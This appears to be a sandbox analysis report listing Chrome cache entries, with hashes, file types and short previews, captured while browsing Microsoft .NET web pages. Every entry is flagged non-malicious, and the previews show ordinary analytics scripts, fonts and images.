SHA-256:	52746A77DFF15687603C672D497EF63425107B8474A6C26AE18A35D63E1E0594
SHA-512:	9389F02A6B1E56BA7DAB9C487DD73DE0AB63E0FB24D65EDAFFC517272E688520A1F64C66C8686804A41434DF3BABFD93140904177E49D64880F7AB3D52215992
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right
Preview:	<!DOCTYPE html>.<html ng-app="poll" lang="en-US">.<head>. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">. <link rel="stylesheet" href="https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css" type="text/css" />. [if lt IE 9]>. <script type="text/javascript" src="//d6tizftlrpuof.cloudfront.net/live/campaign/js/e2456a107d.legacybrowser.js"></script>. <![endif]-->.</head>.<body ub-campaign='{"id":"47b85342850e","version":2,"type":"poll","form":{"pages":[{"type":"form","fields":[{"type":"header","caption":"Header","autoSubmit":false,"forceRequired":false,"fixed":false,"interactive":true,"showHideRule":[],"validationText":"This field is required","text&qu

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65409)
Category:	downloaded
Size (bytes):	123063
Entropy (8bit):	5.398781428665809
Encrypted:	false
SSDEEP:	3072:m3yFsd/M+C0w0Ba04g+179ET9/OEMawYU1+eCSJLI016qw:ANT+179ExHFSJLI01i
MD5:	30F39AE5D1D05A439046A7640510B486
SHA1:	716EFA29594EDAE8832BB8B12E7FB19BC06E06FE
SHA-256:	BDE9BE4CBE799089A419225F87C2A9986043F6C7CB55853AAADAB7200713F136
SHA-512:	F67FDAFCA801746226ACB9D2EF6D90070DD1D8A5A08BCB5DD1C94631F1559373C56D9796A5633CAC03E1A5A384CF01D60C080A6EF16CEA4B52AAA93ED364B55A
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/b/ai.2.min.js
Preview:	/!. Application Insights JavaScript SDK - Web, 2.8.18. * Copyright (c) Microsoft and contributors. All rights reserved.. */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,t=typeof globalThis!=t?globalThis:e\|\|self,i={},e="__ms$mod__",o={},a=o.esm_ai_2_8_18={},u="2.8.18",c="Microsoft",s=(s=t=t[c]=t[c]\|\|{})[c="ApplicationInsights2"]=s[c]\|\|{},l=(l=t)[c="ApplicationInsights"]=l[c]\|\|{},t=s[e]=s[e]\|\|{},f=t.v=t.v\|\|[],c=l[e]=l[e]\|\|{},d=c.v=c.v\|\|[];for(r in(c.o=c.o\|\|[]).push(o),n(i),i)s[r]=i[r],f[r]=u,l[r]=i[r],d[r]=u,(a.n=a.n\|\|[]).push(r)}}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var a="function",u="object",ne="undefined",te="prototype",c="hasOwnProperty",l=Object,x=l[te],b=l.assign,I=l.create,w=l.defineProperty,T=x[c],C=null;functio

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65409)
Category:	dropped
Size (bytes):	123063
Entropy (8bit):	5.398781428665809
Encrypted:	false
SSDEEP:	3072:m3yFsd/M+C0w0Ba04g+179ET9/OEMawYU1+eCSJLI016qw:ANT+179ExHFSJLI01i
MD5:	30F39AE5D1D05A439046A7640510B486
SHA1:	716EFA29594EDAE8832BB8B12E7FB19BC06E06FE
SHA-256:	BDE9BE4CBE799089A419225F87C2A9986043F6C7CB55853AAADAB7200713F136
SHA-512:	F67FDAFCA801746226ACB9D2EF6D90070DD1D8A5A08BCB5DD1C94631F1559373C56D9796A5633CAC03E1A5A384CF01D60C080A6EF16CEA4B52AAA93ED364B55A
Malicious:	false
Preview:	/!. Application Insights JavaScript SDK - Web, 2.8.18. * Copyright (c) Microsoft and contributors. All rights reserved.. */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,t=typeof globalThis!=t?globalThis:e\|\|self,i={},e="__ms$mod__",o={},a=o.esm_ai_2_8_18={},u="2.8.18",c="Microsoft",s=(s=t=t[c]=t[c]\|\|{})[c="ApplicationInsights2"]=s[c]\|\|{},l=(l=t)[c="ApplicationInsights"]=l[c]\|\|{},t=s[e]=s[e]\|\|{},f=t.v=t.v\|\|[],c=l[e]=l[e]\|\|{},d=c.v=c.v\|\|[];for(r in(c.o=c.o\|\|[]).push(o),n(i),i)s[r]=i[r],f[r]=u,l[r]=i[r],d[r]=u,(a.n=a.n\|\|[]).push(r)}}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var a="function",u="object",ne="undefined",te="prototype",c="hasOwnProperty",l=Object,x=l[te],b=l.assign,I=l.create,w=l.defineProperty,T=x[c],C=null;functio

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 14228, version 0.0
Category:	downloaded
Size (bytes):	14228
Entropy (8bit):	7.9627414767303915
Encrypted:	false
SSDEEP:	384:nGY5thmdWJrx0GhnZAATfdknTHq+BLDBLKkwROlN:57vbNZASdknWqP5K7Mb
MD5:	69BD98E83EAA70274D2FCFF8D71ED013
SHA1:	C611BD891A63F788C1DD20E686BA40C44A4B6E79
SHA-256:	24CD5530DC798F9B08F7E3E48C8688B9324FA8EDFC8AEA24D4109FEDCC6BC7BC
SHA-512:	A5B8429A529AA32BFE2B96D408AAD99F2771D387FB45FC18A5BEAD5DF0F6134BA9E86D01923E5745505288AAA31B4276A840D88D943D3A6B452F51B94D180551
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/dotnetmdl2-icons-061622.woff
Preview:	wOFF......7.......^\|........................OS/2...X...H...`JM.6VDMX.............^.qcmap............}..cvt ...T... .......fpgm...t.......Y...gasp...d............glyf...p..)...C.Gc.=head..00...5...6..?.hhea..0h.......$....hmtx..0....`.....z..loca..0...........Umaxp..1........ .m._name..1....:....5..post..6........ .Q.wprep..7.........x...x.c`f..8.....u..1...4.f...$..........@ ...........?.8.\|...V...)00.....Gx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x.c```b`d....f0+.....,...........,L+.......*@./..s..b.e.+<7x..<.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (548)
Category:	dropped
Size (bytes):	103983
Entropy (8bit):	5.401683671784976
Encrypted:	false
SSDEEP:	1536:uESbSFQOeJJ7z8hQlOd5IoV6BWZK2UrCQ4WOwiw4g/v49s:hQD7v0vGCBCMUD
MD5:	2E483EDD82C13463903135397150626E
SHA1:	DEFCBBC0822C42E63010F55F6A80E1120515EF00
SHA-256:	CF7379AC1B15A182E44D6B5282E4A4292A26DAEA3DE273167CAB895058DB58E6
SHA-512:	C941CB6BFDCDD1F2152EF3CF9E64F267EF76EFDC064E44CA24DCA679AED06D72C27B21FCA100B57DD39EDEEEE247A672E32D226D64B2DF2B331F1AB6F34DBFC7
Malicious:	false
Preview:	/. AngularJS v1.6.5. (c) 2010-2017 Google, Inc. http://angularjs.org. License: MIT./.(function(x){'use strict';function pe(a){if(G(a))t(a.objectMaxDepth)&&(Lc.objectMaxDepth=Tb(a.objectMaxDepth)?a.objectMaxDepth:NaN);else return Lc}function Tb(a){return W(a)&&0<a}function K(a,b){b=b\|\|Error;return function(){var d=arguments[0],c;c="["+(a?a+":":"")+d+"] http://errors.angularjs.org/1.6.5/"+(a?a+"/":"")+d;for(d=1;d<arguments.length;d++){c=c+(1==d?"?":"&")+"p"+(d-1)+"=";var e=encodeURIComponent,f;f=arguments[d];f="function"==typeof f?f.toString().replace(/ \{[\s\S]*$/,""):"undefined"==.typeof f?"undefined":"string"!=typeof f?JSON.stringify(f):f;c+=e(f)}return new b(c)}}function oa(a){if(null==a\|\|Za(a))return!1;if(I(a)\|\|C(a)\|\|z&&a instanceof z)return!0;var b="length"in Object(a)&&a.length;return W(b)&&(0<=b&&(b-1 in a\|\|a instanceof Array)\|\|"function"===typeof a.item)}function p(a,b,d){var c,e;if(a)if(E(a))for(c in a)"prototype"!==c&&"length"!==c&&"name"!==c&&a.hasOwnProperty(c)&&b.call(d,a

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 90 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	652
Entropy (8bit):	7.449879008348726
Encrypted:	false
SSDEEP:	12:6v/7QqgE9umo7WRy2wKFlOdqXYOm4jHgzkV0PGWYSIiYfb5Pa:kGmiKyRIXYd4jHggCGcIiiy
MD5:	7035F9BBFAE08939EBDA03D9C2CDD905
SHA1:	DE95E112E30100A1FFA009C1F463A6C2F7A56550
SHA-256:	9E6394F8EEAC201A8BAC23608D3CDA3A74D6CF623A56348E482D0897D7B97189
SHA-512:	1CFD40113523DBABB5309FCE439FE17A8CE9F597C61FB44EF041C63F661F5C31B6DF85F16225C699E5CB17F90B8C79503ED812F458A529E445C4DA78337CE3E0
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png
Preview:	.PNG........IHDR...Z...2........5...SIDATx..?K.@.....:99tpp....8(.V.....\.N..vr.]...AD.AA.V....,...[..W).K.$.?M....M....%..]"..........^.4.S.G.0J"..-E.A.Q.w...)..ef....9<..........j..O.I.....62...E...........o.o.s.......D..er.}.\|h34.&..W.E7]...6W).)...8g....h&..b.c.\|].)..k ...%.;.D.....B.lTE.W.U..V..lTDWI....D..-..A....rk.v/:%&.\|a..5D{....(r...:")Z.B>.r.',..n...l.(z;....u..:`.;q..f.....:.q@....b.....b`\. ....E.,.%YUN.....M.'..7~....Q4..}I.X.\..$!.h.o.."I..Gk..u...s..X...FG(.(.9.u..z.v[M}.u(6/E.<.I...u+.A.wF..N...d.ztN..>...W.mf{~o.u.H.f...]q#.....D....V.. .Z.g..N....c.n.j..bq.-.._o..HE'.................',.N......IEND.B`.

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (820), with no line terminators
Category:	downloaded
Size (bytes):	820
Entropy (8bit):	5.178314558399231
Encrypted:	false
SSDEEP:	12:9rgs0ZD/uR1+qUHODt+uFdlcSNyrmGb4Xc4tjLbqV8UJyj/c/GHtCHJFGypQDRWl:9cZZDWRIqlKSNyqGbh4VbjUkCHJQrRWl
MD5:	EF973166C82215BCF2A9FB564689A881
SHA1:	536234BEB9559BE0CDD9676CC54C4E4499405B47
SHA-256:	32E117E84A466553E4E3419060069E9526077A922EF192DB153780345E151021
SHA-512:	C7EE82A225687034516FE215B1B84B05DB5613731FD6B8008C34FAF1F24A460CC4480EFDD2CD1839C06C5B71FECE40AAC962955BB20DE5BA808FB960A3910028
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/cda-tracker.min.js?v=SyYaSyIMxBKYbravFr4rQISs39K6Wu_jyNMP-TEkBgE
Preview:	(()=>{var e,t,n,o,c,s;o=function(e,t){for(var n=t.filter((function(t){return s(t,e.domains)&&!c(t)})),o=0;o<n.length;o++){var a="WT.mc_id="+e.event+"-"+e.channel+"-"+e.alias;n[o].search?n[o].search=n[o].search+"&"+a:n[o].search="?"+a}},c=function(e){return/([\?\&]WT\.mc_id=)\|([\?]utm_source=)\|([\?]cid=)\|([\?]icid=)/i.test(e.search)},s=function(e,t){return t.some((function(t){return t instanceof RegExp?t.test(e.hostname):"string"==typeof t&&t===e.hostname}))},t=[/^(devblogs\|azure\|developer\|devops\|learn\|techcommunity\|visualstudio)\.microsoft\.com$/,/(.\.)?msdn\.com$/,/(.\.)?visualstudio\.com$/,"www.microsoftevents.com",/(.*\.)?github\.com$/],n=(n=(e={event:"dotnet",channel:"35129",alias:"website"}).domains)\|\|Array.isArray(n)?n.concat(t):t,e.domains=n,o(e,[].slice.call(document.getElementsByTagName("a")))})();

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (376), with no line terminators
Category:	downloaded
Size (bytes):	376
Entropy (8bit):	5.147901392072036
Encrypted:	false
SSDEEP:	6:qQQJG8JbDRW6AHWKMe1nnxRWPE7TXQWCRrekLEGCROQLQtFEK86414biXbM2gnhn:cc8ZDRWTnxRW8HXQWSNhSOQLQ3V41RXa
MD5:	33EB53D99FB8B6B0FC16B035559B20D5
SHA1:	DB024D172C6623DA9C65ACE778C802BD46A4F043
SHA-256:	0AA837FA8BBDC8D87BDA9C64CA64732FDF87D85E2F8768B2220E1E03AB48DF42
SHA-512:	6575C35D99EFB1671B1083165E10A04CE93BD715CB1165AF5964D9051DFF1C5EC0E86B51487EE51EAC4E62807182DE5677467475F3588DBFEFBAB42F1E79E51B
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/footer.min.js?v=RVslb4HZMiuSbGsDzcAsIhvWLZgw2HmQR-fsPOHkfMQ
Preview:	!function(){for(var e,n="ArrowLeft",t=document.getElementsByClassName("social")[0],r=Array.from(t.getElementsByTagName("a")),a=function(){var t=f[o];t.addEventListener("focus",(function(){var a=r.length-1;t.addEventListener("keydown",(function(o){var f=o.key;e=r.indexOf(t),f!=n&&"ArrowRight"!=f\|\|r[f==n?0===e?a:e-1:e===a?e-a:e+1].focus()}))}))},o=0,f=r;o<f.length;o++)a()}();

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	dropped
Size (bytes):	157941
Entropy (8bit):	5.427525512913149
Encrypted:	false
SSDEEP:	3072:3a1X95TgJ4EByVFyt2VYX3p+mxOBqT3D/xXc:3uDs4EBys8WDTT/xXc
MD5:	EB9A4F7F7F5D2530C19F550119593B3B
SHA1:	21C9DFFA6C33B1C3B1AA61E949DA5CDCB2698D58
SHA-256:	4D5D28CB98E14CC549CCB63DBF2D60D40D6A41E5B594984EB4C6CAE4FF07A265
SHA-512:	1145CE8154CBDBFEA1FCF9E6851D48E7E9BF066B7321CA5ECB6E30B44904A18D8B4835E40791A67FF90000FE9E40CEC87055C0CC67FA3A04177CBF17B86713A5
Malicious:	false
Preview:	/!. 1DS JS SDK Analytics Web, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var u="object",se="undefined",s="prototype",l=Object,f=l[s];function d(e,n){return e\|\|n}var g,ie=undefined,m=null,v="",T="function",b="object",I="prototype",C="__proto__",E="undefined",N="constructor",S="Symbol",P="_polyfill",w="length",A="name",Y="call",D="toString",O=d(Object),_

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 20712, version 1.1
Category:	downloaded
Size (bytes):	20712
Entropy (8bit):	7.970757999210638
Encrypted:	false
SSDEEP:	384:Yb0vsUGB5j5SaQ/0gP9XBvQTWppnonKxKpeKHD1tSTnT/0QpTYFgurvS8R:YIvszBSC8QTW7ne4APS3Bpsrq8R
MD5:	600270A4CEDF2A102A1D49E5148E6622
SHA1:	A5E4C1B17AB38D08E408937A5E5699D65C5A9F2B
SHA-256:	22459E1DE13B29A9997C47434287B7B07BCD58013DC71C6FA14637B0D46D469C
SHA-512:	74F3F7891E8B7AD239E7FD646050DAEE2449063823C3DB25DE22D9FCFF22940C0AB66C19578A2D3C84ED1D5A92022DCE1006C30CE90DC52357832803A4468C2C
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/open-sans-v34-latin-regular.woff
Preview:	wOFF......P.......z.........................GDEF.......L...b.t..GPOS....... ... DhLcGSUB.......Z...PA.[.OS/2...\...S...`sW.,STAT.......I...^^.C5cmap.............Y.&cvt ............=?,.fpgm...l...........Zgasp...D...........#glyf...T..;u..X..p.Mhead..H....6...6..4.hhea..I.... ...$....hmtx..I$...c...8I._tloca..K..........C..maxp..M.... ... ....name..M....0...x?.dnpost..N........ ...2prep..N...........{.x.=...Q...}'.(B.2..t.....@#...P.......`...7.Cc1)bZ..Bl...Y\...G.[.....~&..:................DFLT............x.<..D.Q...w.ZUA......@)#.%..mU.k.T...$I2C`&C&.@.B...D.*@..{.9......8..K...g.u..aO..L.9%...'G')d6...\4.Ha~&.Q.S.,....K..F.....\.\|...9..E.W..s2......6+...m.[.7]..\s.s.]......C..=\..}.f..o.b.....c(.".s/...K..\|.\|\..D$.EV\|.3..G.Y....y4.}.......IN....v.w+.....1!..8.;......m.7mn. F.1..g...'....o...zO.>.<..P.gDo.6..F..$.z.=..$^.Q.U...x.c`a..8.......,...,..t...i...h``P.R.@......3.``...........L.....Ar,.........5...x......@.........+..d...).........=N.....r~.o.).:.....

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (376), with no line terminators
Category:	dropped
Size (bytes):	376
Entropy (8bit):	5.147901392072036
Encrypted:	false
SSDEEP:	6:qQQJG8JbDRW6AHWKMe1nnxRWPE7TXQWCRrekLEGCROQLQtFEK86414biXbM2gnhn:cc8ZDRWTnxRW8HXQWSNhSOQLQ3V41RXa
MD5:	33EB53D99FB8B6B0FC16B035559B20D5
SHA1:	DB024D172C6623DA9C65ACE778C802BD46A4F043
SHA-256:	0AA837FA8BBDC8D87BDA9C64CA64732FDF87D85E2F8768B2220E1E03AB48DF42
SHA-512:	6575C35D99EFB1671B1083165E10A04CE93BD715CB1165AF5964D9051DFF1C5EC0E86B51487EE51EAC4E62807182DE5677467475F3588DBFEFBAB42F1E79E51B
Malicious:	false
Preview:	!function(){for(var e,n="ArrowLeft",t=document.getElementsByClassName("social")[0],r=Array.from(t.getElementsByTagName("a")),a=function(){var t=f[o];t.addEventListener("focus",(function(){var a=r.length-1;t.addEventListener("keydown",(function(o){var f=o.key;e=r.indexOf(t),f!=n&&"ArrowRight"!=f\|\|r[f==n?0===e?a:e-1:e===a?e-a:e+1].focus()}))}))},o=0,f=r;o<f.length;o++)a()}();

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 16740, version 1.0
Category:	downloaded
Size (bytes):	16740
Entropy (8bit):	7.987129055190075
Encrypted:	false
SSDEEP:	384:S83axrqv4mRIF0Um2NStwCpx9qwEpYmUsNCDPSfHpf:S8KaRIF0UnNStwCpN3mluPIHV
MD5:	E43B535855A4AE53BD5B07A6EEB3BF67
SHA1:	6507312D9491156036316484BF8DC41E8B52DDD9
SHA-256:	B34551AE25916C460423B82BEB8E0675B27F76A9A2908F18286260FBD6DE6681
SHA-512:	955A4C3EA5DF9D2255DEFC2C40555AC62EEAFCC81F6FA688BA5E11A252B3ED59B4275E3E9A72C3F58E66BE3A4D0E9952638932FA29EB9075463537910A8E0CE6
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/open-sans-v34-latin-regular.woff2
Preview:	wOF2......Ad......{...@..........................b. ..P.`?STAT^.....\|...........z.....6.$..8. ..x. .....k52.E..;._..D.....3]...'$'c...t.U.Va.....F..u:.wu#m8...N....}Y.........W.Ifk.BR.u...%....].\|..Q..d[...X.....Umf.0.{n..=....i...F.\|...s.....X._.c44..W...=.<......@7..._..3.L)3)* }..L.I.U..~......1..zf!+t....L.B,...`...U.E.#...7+w..4$...Kdb....R.E....Lq.!....\|R..Dv@.A.Z..Z+.....p\{.....e.2.....i2./.w).90@>...{...mp.o...MY8c.......h..J... ...`.6]F.\...._...).....7.p.;.<.b.$%.t..lr...l...s...R...XS...!...i.!..Rt\G.t.s.W..U....;.........u/......4i.Fph.....x..u..9.@EsU1O...S4.293..bG..FMA..l.\V.h...f;..K.GH.....h.....s.j..,fg.K......P"ya..2..w...R..C...3.....S.c..JE..K............yd#..].`.MP8.#.[...-.e...u.......i.....nP..b..........QlI....<.....P..$I...r5.:.BG.O...#.-..K..v\.........i..xkA..j..xg1eP..H.J..S.....n....Q.J.j.....n.H..OT....0..."..0......B.2..`.F..../U....}.0'Bz..'L?.i\.^...Uz.^.xBF(.v.!.....sw-...UW....IS.I....Y...J..w.....7...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 11448, version 1.0
Category:	downloaded
Size (bytes):	11448
Entropy (8bit):	7.982674162449122
Encrypted:	false
SSDEEP:	192:rspRtTaX3Gh0LIqtqwscakjhzj3J5XzcGM4VRr7SaTo14dGn+6Su/NF2PTieysar:rsDQSq3aunZZzJMu7SRWOBAPGeysa+Qr
MD5:	514360ED1B78E71AABE58ECD08F36706
SHA1:	1062C179EA2F74B5DB67F9D7822C556ED25637DD
SHA-256:	751851E72654508CA07678C61BDACD91B772D725F531DD8A6F62E6F941E11ECC
SHA-512:	1827C1A0189570E775BDCD07657E720E0BB27C2157FF46307CBA551EAA16822645E388321081EB13CAE7F4D024038B5279CFF897A4C86C0ECD4428E60A5DAC5E
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/space-grotesk-v12-latin-700.woff2
Preview:	wOF2......,.......q...,W..........................^..8..\|.`?STAT..F....\|.s..>..6.$..x. ..f. ...[a......@Q..w$..-.(J(g...C..#,,...D4H$.:;.k..i.ev....6^.jc.y!.H,.'.t.^....."3...E.......v.Z.!h.T..I...t..>..y...u.}...Q..#@U.c.U.....J....s........KH.). .... e....u..f..g...fP5V.?..R.C.....!H....Q......x...B...QQ......!..&..mb..??]k.....W%..(.....M..r..X.e.....E..y....Y...>?...Ir.........v....0I..~.(..#.k.\|'.v..#..."R.U...5..M..].....S.........t....A7..;.......O..g.>v...CA...-.'+.`.`c.K...W..:.......h-......u..V...M....9..O..S.K.V........s..l.....}.vu.I.r&....I.."(T........B..6.u.L.....-S...)4..B.o...nX......?e(ED.+.DB(.t.k..u..0...AD.....J.....8r....)..+.a...-..$.....%..-...C.....P.<A......@ERh......: .Uy.G.{.......H..../(....H...e.}3...'.&...#....p.d..Z..u.V....4.B......K.......M.~....".F.#...L_..."\|H\&.'"....b'1\|..A........H.#..._.......2;....k5R&++.4q.(..C$`.......C:M.\OX.L.......B.F...........4...7r..},......... ...+.......a./.......53..r}...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4998)
Category:	downloaded
Size (bytes):	5074
Entropy (8bit):	5.311220034728331
Encrypted:	false
SSDEEP:	96:+OoX95qUqfhED0rlGdGCekSc8XxFUGoXI2g/yC:YN5fqJSKlGkX/XxFToOyC
MD5:	6532C22308C8A21D19BD519E0EAE4CA6
SHA1:	259F289F19BE2A201047BCA71AFA735FF47BD86F
SHA-256:	DC4C1322CF71429B18993DE4173B0BC743D20136E31802EE8C59CA5AE4A7D6B2
SHA-512:	6CDD1241C6625D2E99B1858E141A76215A39122976034E30E1ECE76AC547AD3C1F92371F24436532AF9158E9D43CF05879624D4349F61D822A683DC61EFA8C07
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/cookie-consent.min.js?v=FHFCx1hh_QkQajxu-2Dq5V6s4Ruc2mPyLTzAOPDnJwI
Preview:	/! For license information please see cookie-consent.min.js.LICENSE.txt /.(()=>{var e={1256:(e,t,n)=>{var o=n(2581),r=n(4552),i=o.analytics;r.analytics=i,e.exports=o},4552:(e,t,n)=>{"use strict";function o(e){return o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o(e)}e.exports=function(){if("object"===("undefined"==typeof globalThis?"undefined":o(globalThis)))return globalThis;var e;try{e=this\|\|new Function("return this")()}catch(e){if("object"===("undefined"==typeof window?"undefined":o(window)))return window;if("object"===("undefined"==typeof self?"undefined":o(self)))return self;if(void 0!==n.g)return n.g}return e}()},2581:(e,t,n)=>{"use strict";n.r(t),n.d(t,{analytics:()=>o,initializeAdobeTarget:()=>i});const o=new oneDS.ApplicationInsights,r=document.head.querySelector('meta[name="awa-error"]');(r\|\|{}).content&&(config.webAn

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1340 x 350, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	8309
Entropy (8bit):	7.852895497418519
Encrypted:	false
SSDEEP:	192:HdU6WfnGgj1WJdPDvA2y1vI+fCcW4emsDvmhO:HdUjfmd3YvbCcW45sShO
MD5:	DC099A08698B27538C2AAB9D1A1D3AE3
SHA1:	647DF5E18EB6D34A5ED26535E1008A6CCD0BF904
SHA-256:	B71BCD5000ECEADAAA5C1BD9B893F33E7BFBC97C1FF5F627CA2453081D2C1B40
SHA-512:	C32522FB3D885E1C8E482AE31CB47A5C1C18A7888D898AF79785B07D5E5B244F70C3DDE3D24FBAA07F9BCFACC0BECA76E747B5590809AFED5137605D1D1A2A3C
Malicious:	false
